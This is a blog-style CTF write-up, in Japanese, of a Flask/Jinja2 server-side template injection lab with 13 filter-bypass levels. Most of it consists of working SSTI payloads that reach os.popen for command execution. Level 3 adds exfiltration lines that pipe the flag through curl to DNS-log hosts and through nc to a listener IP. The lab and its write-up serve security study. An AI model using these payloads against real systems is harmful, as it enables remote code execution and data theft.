banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

Flask SSTIターゲット記録

image

環境#

知識点#

  • flask
  • SSTI

SSTI(サーバーサイドテンプレートインジェクション)は、サーバー側のテンプレートエンジンで発生する Web アプリケーションの脆弱性です。これは、攻撃者がユーザー入力に悪意のあるテンプレートコードを注入することで、任意のコードを実行したり、機密情報を取得したりすることを可能にします。

SSTI は、Flask、Django、Jinja2 などのテンプレートエンジンを使用する Web アプリケーションで一般的です。これらのアプリケーションでは、テンプレートエンジンを使用して動的データを静的 HTML ページにレンダリングします。通常、開発者はテンプレート内でプレースホルダー(変数)を使用してレンダリングする値を表します。例えば、{{username}} のように。

アプリケーションがユーザー入力を正しくフィルタリングまたは制限しない場合、攻撃者は特別な悪意のある入力を構築でき、その入力がテンプレートエンジンによって直接解析され実行され、テンプレートエンジンが単にデータをレンダリングするだけでなく、悪意のあるコードスニペットを実行することになります。

SSTI 攻撃を通じて、攻撃者は任意のサーバーサイドコードを実行でき、アプリケーションのデータを読み取ったり、変更したり、コマンドを実行したり、ファイルシステムにアクセスしたりすることができます。これにより、情報漏洩、サーバー攻撃、リモートコード実行などの危険な状況が引き起こされる可能性があります。

この環境は Flask 環境に基づいており、Flask は柔軟性と拡張性を持つ Web アプリケーションを迅速に構築するための人気のある Python Web フレームワークです。

解題思路#

全体のターゲットは以下の通りです:

image

Python SSTI テンプレートインジェクションを確認する方法:

  • ミドルウェア
  • 返される情報(jinja2、flask)
  • キーワードのヒント

レベル 1#

{{2*2}}、出力、4

image

image

{{config}}

Hello <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>

{{config.SECRET_KEY}}

jinja2 のペイロードは次のように使用できます

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}  

image

レベル 2#

レベル 2 はbl['\{\{']をフィルタリングしました

image

ここでは{{がフィルタリングされているため、{%%}を使用して回避できます

Burp を使用してブルートフォース攻撃を行うことができるクラス

{%print(''.__class__.__base__.__subclasses__()[346].__init__.__globals__['os'].popen('ls').read())%}

image

返された内容は次の通りです:

image

レベル 3#

WAF なし、ブラインド

任意のリクエストパケットを送信すると、次の内容が返されます:

image

ブラインドインジェクションは DNS 外部持ち出しの方法を使用できます

ペイロードは次の通りです:

{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('curl http://`cat flag`.pc1dd3.ceye.io').read()}}{% endif %}{% endfor %}
{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__["popen"]("curl http://`cat flag`.1riscn.dnslog.cn").read()}}

nc リスニング

{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('cat flag|nc 192.168.91.128 4444').read()}}{% endif %}{% endfor %}

レベル 4#

bl['[', ']']

中括弧がフィルタリングされました

インデックスの[]pop()または__getitem__()で代用できます;クラスのものは__getattribute__を使用して回避できます

{{''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(81).__init__.__globals__.__getitem__('__import__')('os').popen("env").read()}}

image

レベル 5#

引用符がフィルタリングされました、bl['\'', '"']

  • リクエスト回避
{{().__class__.__bases__[0].__subclasses__()[81].__init__.__globals__[request.values.arg1].popen(request.values.arg2).read()}}

POST:arg1=os&arg2=cat flag

ペイロード:

POST /level/5 HTTP/1.1
Host: node5.anna.nssctf.cn:28491
Content-Length: 149
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://node5.anna.nssctf.cn:28491
Referer: http://node5.anna.nssctf.cn:28491/level/5
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=hdt08jc4bu052a9k34e0oocqd6
Connection: close

code={{().__class__.__bases__[0].__subclasses__()[261].__init__.__globals__[request.values.arg1].popen(request.values.arg2).read()}}&arg1=os&arg2=env

image

  • クッキーを使用
{{().__class__.__mro__[-1].__subclasses__()[258].__init__.__globals__[request.cookies.arg1].popen(request.cookies.arg2).read()}}
Cookie:arg1=os;arg2=cat flag

内容を返すことができません

  • chr () 回避

まずchr()関数の位置を見つけます

{{().__class__.__mro__[-1].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
{%set chr=[].__class__.__mro__[-1].__subclasses__()[58].__init__.__globals__.__builtins__.chr%}

{%print(().__class__.__mro__[-1].__subclasses__()[258].__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read())%}

内容を返すことができません

レベル 6#

bl['_']、アンダースコアがフィルタリングされました

  • クッキー回避
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

cookie:a=__globals__;b=cat /flag

image

  • 16 進数エンコーディング回避
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][-1]["\x5f\x5fsubclasses\x5f\x5f"]()[258]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"].popen("cat flag").read()}}
  • URL エンコーディング回避

lipsum メソッドを使用して直接osを呼び出します

{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("env")|attr("read")()}}

image

  • base64 エンコーディング
{{()|attr('X19jbGFzc19f'.decode('base64'))|attr('X19iYXNlX18='.decode('base64'))|attr('X19zdWJjbGFzc2VzX18='.decode('base64'))()|attr('X19nZXRpdGVtX18='.decode('base64'))(258)|attr('X19pbml0X18='.decode('base64'))|attr('X19nbG9iYWxzX18='.decode('base64'))|attr('X19nZXRpdGVtX18='.decode('base64'))('os')|attr('popen')('cat flag')|attr('read')()}}
  • attr()とリクエストの組み合わせ
{{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}} 

x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat f*').read()

レベル 7#

bl['.']、ドットがフィルタリングされました

image

  • []回避 [x]
{{''['__class__']['__bases__']['__subclasses__']()['__getitem__'](81)['__init__']['__globals__']['__getitem__']('__import__')('os')['popen']("env")['read']()}}
  • URL エンコーディング回避 [√]
{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("env")|attr("read")()}}

image

別の方法ではうまくいきません [x]

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(258)|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('env')|attr('read')()}}

レベル 8#

bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]

キーワードフィルタリング

().__class__=()["__cla"+"ss__"] //ここでのドットは中括弧で置き換えられています
"".__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('env').read()

変換後:

{{""["__cla"+"ss__"]["__ba"+"se__"]["__subcla"+"sses__"]()[133]["__in"+"it__"]["__glo"+"bals__"]['po'+'pen']('env').read()}}

image

または for 文を使用

{%for i in ""["__cla"+"ss__"]["__mr"+"o__"][1]["__subcla"+"sses__"]()%}{%if i.__name__ == "_wrap_close"%}{%print i["__in"+"it__"]["__glo"+"bals__"]["po"+"pen"]('env')["read"]()%}{%endif%}{%endfor%}

または json () フィルターを使用して結合

dict(__in=a,it__=a)|join  =__init__
{%set a=dict(__cla=a,ss__=a)|join%}
{%set b=dict(__ba=a,se__=a)|join%}
{%set c=dict(__subcla=a,sses__=a)|join%}
{%set d=dict(__in=a,it__=a)|join%}
{%set e=dict(__glo=a,bals__=a)|join%}
{%set h=dict(po=a,pen=a)|join%}
{%print(""[a][b][c]()[133][d][e][h]('env').read())%}

image

レベル 9#

bl['0-9']、数字がフィルタリングされました

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}  

image

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}

image

レベル 10#

set config = None

url_for.__globals__
url_for.__globals__['current_app'].config

config を空に設定し、current_appを利用します

{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

image

レベル 11#

bl['\'', '"', '+', 'request', '.', '[', ']']

シングルクォート、ダブルクォート、プラス、リクエスト、ドット、中括弧がフィルタリングされました

変数を定義するために set を利用し、ドットと中括弧は attr で代用し、キーワードは join で代用します

ペイロードを準備します:

().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()

修正後のペイロードは次の通りです:

{%set a=dict(__cla=a,ss__=b)|join %}  
{%set b=dict(__bas=a,e__=b)|join %}  
{%set c=dict(__subcla=a,sses__=b)|join %}   
{%set d=dict(__ge=a,titem__=a)|join%}
{%set e=dict(__in=a,it__=b)|join %} 
{%set f=dict(__glo=a,bals__=b)|join %} 
{%set g=dict(pop=a,en=b)|join %} 
{%set h=self|string|attr(d)(18)%}
{%set flag=dict(env=abc)|join%}
{%set re=dict(read=a)|join%}
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(133)|attr(e)|attr(f)|attr(d)(g)(flag)|attr(re)()}}

image

  • 別の解法

lipsum を通じてアンダースコアを取得します

image

アンダースコアのインデックスは 18 です

{{(lipsum|string|list)|attr(pop)(18)}}

attr()の中には文字列が必要ですが、直接 pop を入力するには引用符''で囲む必要がありますが、ここでは引用符がフィルタリングされているため、最初にpop文字列を構築します:

{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}

これで_を正常に取得でき、アンダースコアを使用して他のクラスを構築できます:

{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}

次に、後で使用するメソッドを構築します:

{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat)|join%}
{% set read=dict(read=a)|join%}

最後に完全な利用構文は次の通りです:

{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

全てを合わせると:

{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(env=a)|join %}
{% set cmd=(cat)|join %}
{% set read=dict(read=a)|join %}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

image

レベル 12#

bl['_', '.', '0-9', '\\', '\'', '"', '[', ']']

レベル 11 とほぼ同じですが、数字とアンダースコアが追加でフィルタリングされています。count を使用して数字を取得し、pop を構築してアンダースコアを取得できます。

().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()
{% set po=dict(po=a,p=a)|join%}
{%set two=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set x=(()|select|string|list)|attr(po)(two)%}
{% print(x)%}

image

{% set po=dict(po=a,p=a)|join%}
{%set two=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set x=(()|select|string|list)|attr(po)(two)%}
{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set hundred=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set a=(x,x,dict(class=a)|join,x,x)|join()%}  
{%set b=(x,x,dict(base=a)|join,x,x)|join() %}  
{%set c=(x,x,dict(subclasses=a)|join,x,x)|join() %}   
{%set d=(x,x,dict(getitem=a)|join,x,x)|join()%}
{%set e=(x,x,dict(init=b)|join,x,x)|join()%} 
{%set f=(x,x,dict(globals=b)|join,x,x)|join()%} 
{%set g=dict(pop=a,en=b)|join %} 
{%set h=self|string|attr(d)(eighteen)%} 
{%set flag=dict(env=abc)|join%}
{%set re=dict(read=a)|join%}
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(hundred)|attr(e)|attr(f)|attr(d)(g)(flag)|attr(re)()}}

image

  • 別の解法
code={%set nine=dict(aaaaaaaaa=a)|join|count%}
{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(env=a)|join %}
{% set cmd=(cat)|join%}
{% set read=dict(read=a)|join %}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

image

レベル 13#

bl['_', '.', '\\', '\'', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']']

フィルタリングにいくつかのキーワードが追加され、selfが禁止されました。もともと空白を設定するために使用されていましたが、ここでは pop を利用して空白を構築し、以前のペイロードを簡単に修正します。

code={% set po=dict(po=a,p=a)|join%}
{%set one=dict(aaaaaaaaaaaaaaaaa=a)|join|count%}
{%set two=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set x=(()|select|string|list)|attr(po)(two)%}
{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set hundred=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set a=(x,x,dict(cla=a,ss=a)|join,x,x)|join()%}  
{%set b=(x,x,dict(base=a)|join,x,x)|join() %}  
{%set c=(x,x,dict(subcla=a,sses=a)|join,x,x)|join() %}   
{%set d=(x,x,dict(getitem=a)|join,x,x)|join()%}
{%set e=(x,x,dict(ini=a,t=a)|join,x,x)|join()%} 
{%set f=(x,x,dict(globals=b)|join,x,x)|join()%} 
{%set g=dict(pop=a,en=b)|join %} 
{%set h=(()|select|string|list)|attr(po)(one)%}
{%set flag=dict(env=abc)|join%}
{%set re=dict(read=a)|join%}
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(hundred)|attr(e)|attr(f)|attr(d)(g)(flag)|attr(re)()}}
  • 別の解法
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(env=a)|join %}
{% set cmd=(cat)|join %}
{% set read=dict(read=a)|join %}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

image

参考#

https://tttang.com/archive/1698/#toc_level-8
https://johnfrod.top/ctf/flask-ssti-lab%E6%94%BB%E7%95%A5/

画像:https://wallhaven.cc/w/jxl31y

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。